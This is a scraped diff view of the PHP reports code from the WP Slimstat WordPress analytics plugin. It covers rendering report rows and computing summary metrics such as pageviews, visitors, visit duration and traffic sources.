+
else{
|
925 |
+
return array();
|
926 |
+
}
|
927 |
+
}
|
928 |
|
929 |
+
// Some reports use aliases for column names
|
930 |
+
if ( !empty( $_args[ 'as_column' ] ) ) {
|
931 |
+
$_args[ 'columns' ] = $_args[ 'as_column' ];
|
932 |
+
}
|
933 |
+
else if ( !empty( $_args[ 'outer_select_column' ] ) ) {
|
934 |
+
$_args[ 'columns' ] = $_args[ 'outer_select_column' ];
|
935 |
+
}
|
936 |
|
937 |
+
// Some reports query more than one column
|
938 |
+
if ( strpos( $_args[ 'columns' ], ',' ) !== false ) {
|
939 |
+
$_args[ 'columns' ] = explode( ',', $_args[ 'columns' ] );
|
940 |
+
$_args[ 'columns' ] = trim( $_args[ 'columns' ][ 0 ] );
|
941 |
+
}
|
942 |
|
943 |
+
self::report_pagination( $count_page_results, count( $all_results ) );
|
944 |
+
|
945 |
+
$is_expanded = ( wp_slimstat::$options['expand_details'] == 'yes' ) ? ' expanded' : '';
|
946 |
+
$permalinks_enabled = get_option( 'permalink_structure' );
|
947 |
|
948 |
+
for($i=0; $i<$count_page_results; $i++){
|
949 |
+
$row_details = $percentage = '';
|
950 |
+
$element_pre_value = '';
|
951 |
+
$element_value = $results[ $i ][ $_args[ 'columns' ] ];
|
952 |
|
953 |
+
// Some columns require a special pre-treatment
|
954 |
+
switch ( $_args[ 'columns' ] ){
|
955 |
|
956 |
+
case 'browser':
|
957 |
+
if (!empty($results[$i]['user_agent']) && wp_slimstat::$options['show_complete_user_agent_tooltip'] == 'yes'){
|
958 |
+
$element_pre_value = self::inline_help($results[$i]['user_agent'], false);
|
959 |
+
}
|
960 |
+
$element_value = $results[$i]['browser'].((isset($results[$i]['browser_version']) && intval($results[$i]['browser_version']) != 0)?' '.$results[$i]['browser_version']:'');
|
961 |
+
break;
|
962 |
+
|
963 |
+
case 'category':
|
964 |
+
$row_details = '<br>'.__( 'Category ID', 'wp-slimstat' ) . ": {$results[ $i ][ $_args[ 'columns' ] ]}";
|
965 |
+
$element_value = get_cat_name( $results[ $i ][ $_args[ 'columns' ] ] );
|
966 |
+
break;
|
967 |
+
|
968 |
+
case 'country':
|
969 |
+
$row_details .= '<br>'.__('Country Code','wp-slimstat').": {$results[$i]['country']}";
|
970 |
+
$element_value = __('c-'.$results[$i]['country'], 'wp-slimstat');
|
971 |
+
break;
|
972 |
+
|
973 |
+
case 'ip':
|
974 |
+
if ( wp_slimstat::$options['convert_ip_addresses'] == 'yes' ) {
|
975 |
+
$element_value = gethostbyaddr( $results[ $i ][ $_args[ 'columns' ] ] );
|
976 |
+
}
|
977 |
+
else{
|
978 |
+
$element_value = $results[ $i ][ $_args[ 'columns' ] ];
|
979 |
+
}
|
980 |
+
break;
|
981 |
+
|
982 |
+
case 'language':
|
983 |
+
case 'language_calculated':
|
984 |
+
$row_details = '<br>'.__('Language Code','wp-slimstat').": {$results[ $i ][ $_args[ 'columns' ] ]}";
|
985 |
+
$element_value = __('l-'.$results[ $i ][ $_args[ 'columns' ] ], 'wp-slimstat');
|
986 |
+
break;
|
987 |
+
|
988 |
+
case 'platform':
|
989 |
+
case 'platform_calculated':
|
990 |
+
$row_details = '<br>'.__('OS Code','wp-slimstat').": {$results[ $i ][ $_args[ 'columns' ] ]}";
|
991 |
+
$element_value = __( $results[ $i ][ $_args[ 'columns' ] ], 'wp-slimstat');
|
992 |
+
break;
|
993 |
+
|
994 |
+
case 'referer':
|
995 |
+
$element_value = str_replace( array( '<', '>' ), array( '<', '>' ), urldecode( $results[ $i ][ $_args[ 'columns' ] ] ) );
|
996 |
+
break;
|
997 |
+
|
998 |
+
case 'resource':
|
999 |
+
case 'resource_calculated':
|
1000 |
+
$resource_title = self::get_resource_title( $results[ $i ][ $_args[ 'columns' ] ] );
|
1001 |
+
if ( $resource_title != $results[ $i ][ $_args[ 'columns' ] ] ) {
|
1002 |
+
$row_details = '<br>' . htmlentities( $results[ $i ][ $_args[ 'columns' ] ], ENT_QUOTES, 'UTF-8' );
|
1003 |
+
}
|
1004 |
+
$element_value = $resource_title;
|
1005 |
+
break;
|
1006 |
+
|
1007 |
+
case 'screen_width':
|
1008 |
+
$element_value = "{$results[ $i ][ $_args[ 'columns' ] ]} x {$results[ $i ][ 'screen_height' ]}";
|
1009 |
+
break;
|
1010 |
+
|
1011 |
+
case 'searchterms':
|
1012 |
+
if ($_args[ 'type' ] == 'recent'){
|
1013 |
+
$domain = parse_url( $results[ $i ][ 'resource' ], PHP_URL_HOST );
|
1014 |
+
|
1015 |
+
$row_details = '<br>'.__('Referrer','wp-slimstat').": $domain";
|
1016 |
+
$element_value = self::get_search_terms_info($results[$i]['searchterms'], $results[$i]['referer'], true);
|
1017 |
+
}
|
1018 |
+
else{
|
1019 |
+
$element_value = htmlentities($results[$i]['searchterms'], ENT_QUOTES, 'UTF-8');
|
1020 |
+
}
|
1021 |
+
break;
|
1022 |
+
case 'username':
|
1023 |
+
$element_value = $results[$i]['username'];
|
1024 |
+
if (wp_slimstat::$options['show_display_name'] == 'yes'){
|
1025 |
+
$element_custom_value = get_user_by('login', $results[$i]['username']);
|
1026 |
+
if (is_object($element_custom_value)) $element_value = $element_custom_value->display_name;
|
1027 |
+
}
|
1028 |
+
break;
|
|
|
|
|
|
|
1029 |
|
1030 |
+
case 'visit_id':
|
1031 |
+
$resource_title = self::get_resource_title( $results[ $i ][ 'resource' ] );
|
1032 |
+
if ( $resource_title != $results[ $i ][ 'resource' ] ) {
|
1033 |
+
$row_details = '<br>' . htmlentities( $results[ $i ][ 'resource' ], ENT_QUOTES, 'UTF-8' );
|
1034 |
+
}
|
1035 |
+
$element_value = $resource_title;
|
1036 |
+
break;
|
1037 |
+
default:
|
1038 |
+
}
|
1039 |
+
|
1040 |
+
$element_value = "<a class='slimstat-filter-link' href='".self::fs_url( $_args[ 'columns' ].' '.$_args['filter_op'].' '.$results[$i][ $_args[ 'columns' ] ] )."'>$element_value</a>";
|
1041 |
|
1042 |
+
if ( !empty($_args['type'] ) && $_args['type'] == 'recent' ) {
|
1043 |
+
$row_details = date_i18n(wp_slimstat::$options['date_format'].' '.wp_slimstat::$options['time_format'], $results[$i]['dt'], true).$row_details;
|
1044 |
+
}
|
|
|
1045 |
|
1046 |
+
if ( !empty($_args['type'] ) && $_args['type'] == 'top' ) {
|
1047 |
+
$percentage = ' <span>'.((self::$pageviews > 0)?number_format(sprintf("%01.2f", (100*$results[$i]['counthits']/self::$pageviews)), 2, wp_slimstat_db::$formats['decimal'], wp_slimstat_db::$formats['thousand']):0).'%</span>';
|
1048 |
+
$row_details = __('Hits','wp-slimstat').': '.number_format($results[$i]['counthits'], 0, '', wp_slimstat_db::$formats['thousand']).$row_details;
|
|
|
|
|
|
|
1049 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1050 |
|
1051 |
+
// Some columns require a special post-treatment
|
1052 |
+
if ( $_args[ 'columns' ] == 'resource' && strpos( $_args['where'], '404' ) === false ) {
|
1053 |
+
$base_url = '';
|
1054 |
+
if (isset($results[$i]['blog_id'])){
|
1055 |
+
$base_url = parse_url(get_site_url($results[$i]['blog_id']));
|
1056 |
+
$base_url = $base_url['scheme'].'://'.$base_url['host'];
|
1057 |
+
}
|
1058 |
+
$element_value = '<a target="_blank" class="slimstat-font-logout" title="'.__('Open this URL in a new window','wp-slimstat').'" href="'.$base_url.htmlentities($results[$i]['resource'], ENT_QUOTES, 'UTF-8').'"></a> '.$base_url.$element_value;
|
1059 |
+
}
|
1060 |
+
if ( $_args[ 'columns' ] == 'referer' ) {
|
1061 |
+
$element_url = htmlentities($results[$i]['referer'], ENT_QUOTES, 'UTF-8');
|
1062 |
+
$element_value = '<a target="_blank" class="slimstat-font-logout" title="'.__('Open this URL in a new window','wp-slimstat').'" href="'.$element_url.'"></a> '.$element_value;
|
1063 |
+
}
|
1064 |
+
if (!empty($results[$i]['ip']) && $_args[ 'columns' ] != 'ip' && wp_slimstat::$options['convert_ip_addresses'] != 'yes'){
|
1065 |
+
$row_details .= '<br> IP: <a class="slimstat-filter-link" href="'.self::fs_url('ip equals '.$results[$i]['ip']).'">'.$results[$i]['ip'].'</a>'.(!empty($results[$i]['other_ip'])?' / '.$results[$i]['other_ip']:'').'<a title="WHOIS: '.$results[$i]['ip'].'" class="slimstat-font-location-1 whois" href="'.wp_slimstat::$options['ip_lookup_service'].$results[$i]['ip'].'"></a>';
|
1066 |
+
}
|
1067 |
+
if (!empty($row_details)){
|
1068 |
+
$row_details = "<b class='slimstat-row-details$is_expanded'>$row_details</b>";
|
1069 |
+
}
|
1070 |
+
|
1071 |
+
echo "<p>$element_pre_value$element_value$percentage $row_details</p>";
|
1072 |
+
}
|
1073 |
}
|
1074 |
|
1075 |
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
1216 |
}
|
1217 |
}
|
1218 |
|
1219 |
+
public static function get_about_wpslimstat() {
|
1220 |
+
$dt = wp_slimstat_db::get_oldest_visit( '1=1', false );
|
1221 |
+
$results = array();
|
1222 |
|
1223 |
+
$results[ 0 ][ 'metric' ] = __( 'Dataset Size', 'wp-slimstat' );
|
1224 |
+
$results[ 0 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', '1=1', false ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1225 |
+
$results[ 0 ][ 'tooltip' ] = __( 'Total number of records stored in the database.', 'wp-slimstat' );
|
|
|
|
|
|
|
|
|
|
|
1226 |
|
1227 |
+
$results[ 1 ][ 'metric' ] = __( 'DB Size', 'wp-slimstat' );
|
1228 |
+
$results[ 1 ][ 'value' ] = wp_slimstat_db::get_data_size();
|
1229 |
+
|
1230 |
+
$results[ 2 ][ 'metric' ] = __( 'Tracking Enabled', 'wp-slimstat' );
|
1231 |
+
$results[ 2 ][ 'value' ] = __( ucfirst( wp_slimstat::$options[ 'is_tracking' ] ), 'wp-slimstat' );
|
1232 |
+
|
1233 |
+
$results[ 3 ][ 'metric' ] = __( 'Javascript Mode', 'wp-slimstat' );
|
1234 |
+
$results[ 3 ][ 'value' ] = __( ucfirst( wp_slimstat::$options[ 'javascript_mode' ] ), 'wp-slimstat' );
|
1235 |
+
|
1236 |
+
$results[ 4 ][ 'metric' ] = __( 'Tracking Browser Caps', 'wp-slimstat' );
|
1237 |
+
$results[ 4 ][ 'value' ] = __( ucfirst( wp_slimstat::$options[ 'enable_javascript' ] ), 'wp-slimstat' );
|
1238 |
+
|
1239 |
+
$results[ 5 ][ 'metric' ] = __( 'Auto purge', 'wp-slimstat' );
|
1240 |
+
$results[ 5 ][ 'value' ] = ( wp_slimstat::$options[ 'auto_purge' ] > 0 ) ? wp_slimstat::$options[ 'auto_purge' ] . ' ' . __( 'days', 'wp-slimstat' ) : __( 'Off', 'wp-slimstat' );
|
1241 |
+
|
1242 |
+
$results[ 6 ][ 'metric' ] = __( 'Oldest pageview', 'wp-slimstat' );
|
1243 |
+
$results[ 6 ][ 'value' ] = ( $dt == null ) ? __( 'No visits', 'wp-slimstat' ) : date_i18n( wp_slimstat::$options[ 'date_format' ], $dt );
|
1244 |
+
|
1245 |
+
$results[ 7 ][ 'metric' ] = __( 'Geolocation', 'wp-slimstat' );
|
1246 |
+
$results[ 7 ][ 'value' ] = date_i18n( wp_slimstat::$options[ 'date_format' ], @filemtime( wp_slimstat::$maxmind_path ) );
|
1247 |
+
$results[ 7 ][ 'tooltip' ] = __( 'Date when the MaxMind Geolocation database was last updated.', 'wp-slimstat' );
|
1248 |
+
|
1249 |
+
return $results;
|
1250 |
}
|
1251 |
|
1252 |
+
public static function get_overview_summary() {
|
1253 |
+
$days_in_range = ceil( ( wp_slimstat_db::$filters_normalized[ 'utime' ][ 'end' ] - wp_slimstat_db::$filters_normalized[ 'utime' ][ 'start' ] ) / 86400 );
|
1254 |
+
$results = array();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1255 |
|
1256 |
+
$results[ 0 ][ 'metric' ] = __( 'Pageviews', 'wp-slimstat' );
|
1257 |
+
$results[ 0 ][ 'value' ] = number_format( self::$pageviews, 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1258 |
+
$results[ 0 ][ 'tooltip' ] = __( 'A request to load a single HTML file. Slimstat logs a "pageview" each time the tracking code is executed.', 'wp-slimstat' );
|
1259 |
+
|
1260 |
+
$results[ 1 ][ 'metric' ] = __( 'Days in Range', 'wp-slimstat' );
|
1261 |
+
$results[ 1 ][ 'value' ] = $days_in_range;
|
1262 |
+
|
1263 |
+
$results[ 2 ][ 'metric' ] = __( 'Average Daily Pageviews', 'wp-slimstat' );
|
1264 |
+
$results[ 2 ][ 'value' ] = number_format( intval( self::$pageviews/$days_in_range ), 0, '', wp_slimstat_db::$formats['thousand'] );
|
1265 |
+
$results[ 2 ][ 'tooltip' ] = __( 'How many pages have been visited on average every day during the current period.', 'wp-slimstat' );
|
1266 |
+
|
1267 |
+
$results[ 3 ][ 'metric' ] = __( 'From Search Results', 'wp-slimstat' );
|
1268 |
+
$results[ 3 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', 'searchterms IS NOT NULL' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1269 |
+
$results[ 3 ][ 'tooltip' ] = __( 'Visitors who landed on your site after searching for a keyword on Google, Yahoo, etc.', 'wp-slimstat' );
|
1270 |
+
|
1271 |
+
$results[ 4 ][ 'metric' ] = __( 'Unique IPs', 'wp-slimstat' );
|
1272 |
+
$results[ 4 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'ip' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1273 |
+
$results[ 4 ][ 'tooltip' ] = __( 'Used to differentiate between multiple requests to download a file from one internet address (IP) and requests originating from many distinct addresses', 'wp-slimstat' );
|
1274 |
+
|
1275 |
+
$results[ 5 ][ 'metric' ] = __( 'Last 30 minutes', 'wp-slimstat' );
|
1276 |
+
$results[ 5 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', 'dt > ' . ( date_i18n( 'U' ) - 1800 ), false ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1277 |
+
|
1278 |
+
$results[ 6 ][ 'metric' ] = __( 'Today', 'wp-slimstat' );
|
1279 |
+
$results[ 6 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', 'dt > ' . ( date_i18n( 'U', mktime( 0, 0, 0, date_i18n( 'm' ), date_i18n( 'd' ), date_i18n( 'Y' ) ) ) ), false ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1280 |
+
|
1281 |
+
$results[ 7 ][ 'metric' ] = __( 'Yesterday', 'wp-slimstat' );
|
1282 |
+
$results[ 7 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', 'dt BETWEEN ' . ( date_i18n( 'U', mktime( 0, 0, 0, date_i18n( 'm' ), date_i18n( 'd' ) - 1, date_i18n( 'Y' ) ) ) ) . ' AND ' . ( date_i18n( 'U', mktime( 23, 59, 59, date_i18n( 'm' ), date_i18n( 'd' ) - 1, date_i18n( 'Y' ) ) ) ), false ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1283 |
+
|
1284 |
+
return $results;
|
1285 |
}
|
1286 |
|
1287 |
+
public static function get_plugins() {
|
1288 |
$wp_slim_plugins = array( 'flash', 'silverlight', 'acrobat', 'java', 'mediaplayer', 'director', 'real', 'quicktime' );
|
1289 |
$total_human_hits = wp_slimstat_db::count_records( 'id', 'visit_id > 0 AND browser_type <> 1' );
|
1290 |
+
$results = array();
|
1291 |
+
|
1292 |
+
foreach ( $wp_slim_plugins as $i => $a_plugin ) {
|
1293 |
$count_results = wp_slimstat_db::count_records( 'id', "plugins LIKE '%{$a_plugin}%'" );
|
1294 |
+
$results[ $i ][ 'metric' ] = ucfirst( $a_plugin );
|
1295 |
+
$results[ $i ][ 'value' ] = ( $total_human_hits > 0 ) ? number_format( ( 100 * $count_results / $total_human_hits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1296 |
+
$results[ $i ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1297 |
}
|
1298 |
|
1299 |
+
return $results;
|
|
|
|
|
1300 |
}
|
1301 |
|
1302 |
+
public static function get_visitors_summary() {
|
1303 |
+
$results = array();
|
1304 |
$total_human_hits = wp_slimstat_db::count_records( 'id', 'visit_id > 0 AND browser_type <> 1');
|
|
|
1305 |
$new_visitors = wp_slimstat_db::count_records_having( 'ip', 'visit_id > 0 AND browser_type <> 1', 'COUNT(visit_id) = 1' );
|
1306 |
+
$new_visitors_rate = ( $total_human_hits > 0) ? ( 100 * $new_visitors / $total_human_hits ) : 0;
|
1307 |
+
$metrics_per_visit = wp_slimstat_db::get_max_and_average_pages_per_visit();
|
1308 |
+
if ( intval( $new_visitors_rate ) > 99 ) {
|
1309 |
+
$new_visitors_rate = '100';
|
1310 |
+
}
|
1311 |
|
1312 |
+
$results[ 0 ][ 'metric' ] = __( 'Visits', 'wp-slimstat' );
|
1313 |
+
$results[ 0 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'visit_id', 'visit_id > 0 AND browser_type <> 1' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1314 |
+
$results[ 0 ][ 'tooltip' ] = __( 'A visit is a session of at most 30 minutes. Returning visitors are counted multiple times if they perform multiple visits.', 'wp-slimstat' );
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1315 |
|
1316 |
+
$results[ 1 ][ 'metric' ] = __( 'Unique IPs', 'wp-slimstat' );
|
1317 |
+
$results[ 1 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'ip', 'visit_id > 0 AND browser_type <> 1' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1318 |
+
$results[ 1 ][ 'tooltip' ] = __( 'It includes only traffic generated by human visitors.', 'wp-slimstat' );
|
1319 |
+
|
1320 |
+
$results[ 2 ][ 'metric' ] = __( 'Bounce rate', 'wp-slimstat' );
|
1321 |
+
$results[ 2 ][ 'value' ] = number_format( $new_visitors_rate, 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] );
|
1322 |
+
$results[ 2 ][ 'tooltip' ] = __( 'Percentage of single-page visits, i.e. visits in which the person left your site from the entrance page.', 'wp-slimstat' );
|
1323 |
+
|
1324 |
+
$results[ 3 ][ 'metric' ] = __( 'Known visitors', 'wp-slimstat' );
|
1325 |
+
$results[ 3 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'username' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1326 |
+
$results[ 3 ][ 'tooltip' ] = __( 'Visitors who had previously left a comment on your blog.', 'wp-slimstat' );
|
1327 |
+
|
1328 |
+
$results[ 4 ][ 'metric' ] = __( 'New visitors', 'wp-slimstat' );
|
1329 |
+
$results[ 4 ][ 'value' ] = number_format( $new_visitors, 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1330 |
+
$results[ 4 ][ 'tooltip' ] = __( 'Human users who visited your site only once.', 'wp-slimstat' );
|
1331 |
+
|
1332 |
+
$results[ 5 ][ 'metric' ] = __( 'Bots', 'wp-slimstat' );
|
1333 |
+
$results[ 5 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', 'browser_type = 1' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1334 |
+
|
1335 |
+
$results[ 6 ][ 'metric' ] = __( 'Pages per visit', 'wp-slimstat' );
|
1336 |
+
$results[ 6 ][ 'value' ] = number_format( $metrics_per_visit[ 0 ][ 'avghits' ], 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] );
|
1337 |
+
|
1338 |
+
$results[ 7 ][ 'metric' ] = __( 'Longest visit', 'wp-slimstat' );
|
1339 |
+
$results[ 7 ][ 'value' ] = number_format( $metrics_per_visit[ 0 ][ 'maxhits' ], 0, '', wp_slimstat_db::$formats[ 'thousand' ] ) . ' ' . __( 'hits', 'wp-slimstat' );
|
1340 |
+
|
1341 |
+
return $results;
|
1342 |
}
|
1343 |
|
1344 |
+
public static function get_visits_duration() {
|
1345 |
+
$total_human_visits = wp_slimstat_db::count_records( 'visit_id', 'visit_id > 0 AND browser_type <> 1' );
|
1346 |
+
$results = array();
|
1347 |
+
|
1348 |
+
$count_results = wp_slimstat_db::count_records_having( 'visit_id', 'visit_id > 0 AND browser_type <> 1', 'max(dt) - min(dt) >= 0 AND max(dt) - min(dt) <= 30' );
|
1349 |
+
$average_time = 30 * $count_results;
|
1350 |
+
$results[ 0 ][ 'metric' ] = __( '0 - 30 seconds', 'wp-slimstat' );
|
1351 |
+
$results[ 0 ][ 'value' ] = ( $total_human_visits > 0 ) ? number_format( ( 100 * $count_results / $total_human_visits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1352 |
+
$results[ 0 ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1353 |
+
|
1354 |
+
$count_results = wp_slimstat_db::count_records_having( 'visit_id', 'visit_id > 0 AND browser_type <> 1', 'max(dt) - min(dt) > 30 AND max(dt) - min(dt) <= 60' );
|
1355 |
+
$average_time += 60 * $count_results;
|
1356 |
+
$results[ 1 ][ 'metric' ] = __( '31 - 60 seconds', 'wp-slimstat' );
|
1357 |
+
$results[ 1 ][ 'value' ] = ( $total_human_visits > 0 ) ? number_format( ( 100 * $count_results / $total_human_visits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1358 |
+
$results[ 1 ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1359 |
+
|
1360 |
+
$count_results = wp_slimstat_db::count_records_having( 'visit_id', 'visit_id > 0 AND browser_type <> 1', 'max(dt) - min(dt) > 60 AND max(dt) - min(dt) <= 180' );
|
1361 |
+
$average_time += 180 * $count_results;
|
1362 |
+
$results[ 2 ][ 'metric' ] = __( '1 - 3 minutes', 'wp-slimstat' );
|
1363 |
+
$results[ 2 ][ 'value' ] = ( $total_human_visits > 0 ) ? number_format( ( 100 * $count_results / $total_human_visits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1364 |
+
$results[ 2 ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1365 |
+
|
1366 |
+
$count_results = wp_slimstat_db::count_records_having( 'visit_id', 'visit_id > 0 AND browser_type <> 1', 'max(dt) - min(dt) > 180 AND max(dt) - min(dt) <= 300' );
|
1367 |
+
$average_time += 300 * $count_results;
|
1368 |
+
$results[ 3 ][ 'metric' ] = __( '3 - 5 minutes', 'wp-slimstat' );
|
1369 |
+
$results[ 3 ][ 'value' ] = ( $total_human_visits > 0 ) ? number_format( ( 100 * $count_results / $total_human_visits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1370 |
+
$results[ 3 ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1371 |
+
|
1372 |
+
$count_results = wp_slimstat_db::count_records_having( 'visit_id', 'visit_id > 0 AND browser_type <> 1', 'max(dt) - min(dt) > 300 AND max(dt) - min(dt) <= 420' );
|
1373 |
+
$average_time += 420 * $count_results;
|
1374 |
+
$results[ 4 ][ 'metric' ] = __( '5 - 7 minutes', 'wp-slimstat' );
|
1375 |
+
$results[ 4 ][ 'value' ] = ( $total_human_visits > 0 ) ? number_format( ( 100 * $count_results / $total_human_visits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1376 |
+
$results[ 4 ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1377 |
+
|
1378 |
+
$count_results = wp_slimstat_db::count_records_having( 'visit_id', 'visit_id > 0 AND browser_type <> 1', 'max(dt) - min(dt) > 420 AND max(dt) - min(dt) <= 600' );
|
1379 |
+
$average_time += 600* $count_results;
|
1380 |
+
$results[ 5 ][ 'metric' ] = __( '7 - 10 minutes', 'wp-slimstat' );
|
1381 |
+
$results[ 5 ][ 'value' ] = ( $total_human_visits > 0 ) ? number_format( ( 100 * $count_results / $total_human_visits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1382 |
+
$results[ 5 ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1383 |
+
|
1384 |
+
$count_results = wp_slimstat_db::count_records_having( 'visit_id', 'visit_id > 0 AND browser_type <> 1', 'max(dt) - min(dt) > 600' );
|
1385 |
+
$average_time += 900 * $count_results;
|
1386 |
+
$results[ 6 ][ 'metric' ] = __( 'More than minutes', 'wp-slimstat' );
|
1387 |
+
$results[ 6 ][ 'value' ] = ( $total_human_visits > 0 ) ? number_format( ( 100 * $count_results / $total_human_visits ), 2, wp_slimstat_db::$formats[ 'decimal' ], wp_slimstat_db::$formats[ 'thousand' ] ) : 0;
|
1388 |
+
$results[ 6 ][ 'details' ] = __( 'Hits', 'wp-slimstat' ) . ": $count_results";
|
1389 |
+
|
1390 |
+
if ( $total_human_visits > 0 ) {
|
1391 |
$average_time /= $total_human_visits;
|
1392 |
$average_time = date('m:s', intval($average_time));
|
1393 |
}
|
1394 |
else{
|
1395 |
$average_time = '0:00';
|
1396 |
}
|
|
|
1397 |
|
1398 |
+
$results[ 7 ][ 'metric' ] = __( 'Average time on site', 'wp-slimstat' );
|
1399 |
+
$results[ 7 ][ 'value' ] = $average_time;
|
1400 |
+
$results[ 7 ][ 'details' ] = '';
|
1401 |
+
|
1402 |
+
return $results;
|
1403 |
}
|
1404 |
|
1405 |
+
public static function get_traffic_sources_summary() {
|
1406 |
+
$results = array();
|
1407 |
+
$total_human_hits = wp_slimstat_db::count_records( 'id', 'visit_id > 0 AND browser_type <> 1' );
|
1408 |
$new_visitors = wp_slimstat_db::count_records_having( 'ip', 'visit_id > 0', 'COUNT(visit_id) = 1' );
|
1409 |
$new_visitors_rate = ($total_human_hits > 0)?sprintf("%01.2f", (100*$new_visitors/$total_human_hits)):0;
|
1410 |
+
if (intval($new_visitors_rate) > 99) {
|
1411 |
+
$new_visitors_rate = '100';
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1412 |
}
|
|
|
1413 |
|
1414 |
+
$results[ 0 ][ 'metric' ] = __( 'Pageviews', 'wp-slimstat' );
|
1415 |
+
$results[ 0 ][ 'value' ] = number_format( self::$pageviews, 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1416 |
+
$results[ 0 ][ 'tooltip' ] = __( 'A request to load a single HTML file. Slimstat logs a "pageview" each time the tracking code is executed.', 'wp-slimstat' );
|
1417 |
|
1418 |
+
$results[ 1 ][ 'metric' ] = __( 'Unique Referrers', 'wp-slimstat' );
|
1419 |
+
$results[ 1 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'referer', "referer NOT LIKE '%{$_SERVER['SERVER_NAME']}%'" ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1420 |
+
$results[ 1 ][ 'tooltip' ] = __( 'A referrer (or referring site) is the site that a visitor previously visited before following a link to your site.', 'wp-slimstat' );
|
|
|
|
|
1421 |
|
1422 |
+
$results[ 2 ][ 'metric' ] = __( 'Direct Pageviews', 'wp-slimstat' );
|
1423 |
+
$results[ 2 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', 'resource IS NULL' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1424 |
+
$results[ 2 ][ 'tooltip' ] = __( "Visitors who visited the site by typing the URL directly into their browser. <em>Direct</em> can also refer to the visitors who clicked on the links from their bookmarks/favorites, untagged links within emails, or links from documents that don't include tracking variables.", 'wp-slimstat' );
|
1425 |
|
1426 |
+
$results[ 3 ][ 'metric' ] = __( 'From a search result', 'wp-slimstat' );
|
1427 |
+
$results[ 3 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'id', "searchterms IS NOT NULL AND referer IS NOT NULL AND referer NOT LIKE '%" . home_url() . "%'" ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1428 |
+
$results[ 3 ][ 'tooltip' ] = __( "Visitors who came to your site via searches on Google or some other search engine.", 'wp-slimstat' );
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1429 |
|
1430 |
+
$results[ 4 ][ 'metric' ] = __( 'Unique Landing Pages', 'wp-slimstat' );
|
1431 |
+
$results[ 4 ][ 'value' ] = number_format( wp_slimstat_db::count_records( 'resource' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1432 |
+
$results[ 4 ][ 'tooltip' ] = __( "The first page that a user views during a session. This is also known as the <em>entrance page</em>. For example, if they search for 'Brooklyn Office Space,' and they land on your home page, it gets counted (for that visit) as a landing page.", 'wp-slimstat' );
|
1433 |
|
1434 |
+
$results[ 5 ][ 'metric' ] = __( 'Bounce Pages', 'wp-slimstat' );
|
1435 |
+
$results[ 5 ][ 'value' ] = number_format( wp_slimstat_db::count_bouncing_pages(), 0, '', wp_slimstat_db::$formats[ 'thousand' ] );
|
1436 |
+
$results[ 5 ][ 'tooltip' ] = __( 'Number of single page visits to your site over the selected period.', 'wp-slimstat' );
|
1437 |
|
1438 |
+
$results[ 6 ][ 'metric' ] = __( 'New Visitors Rate', 'wp-slimstat' );
|
1439 |
+
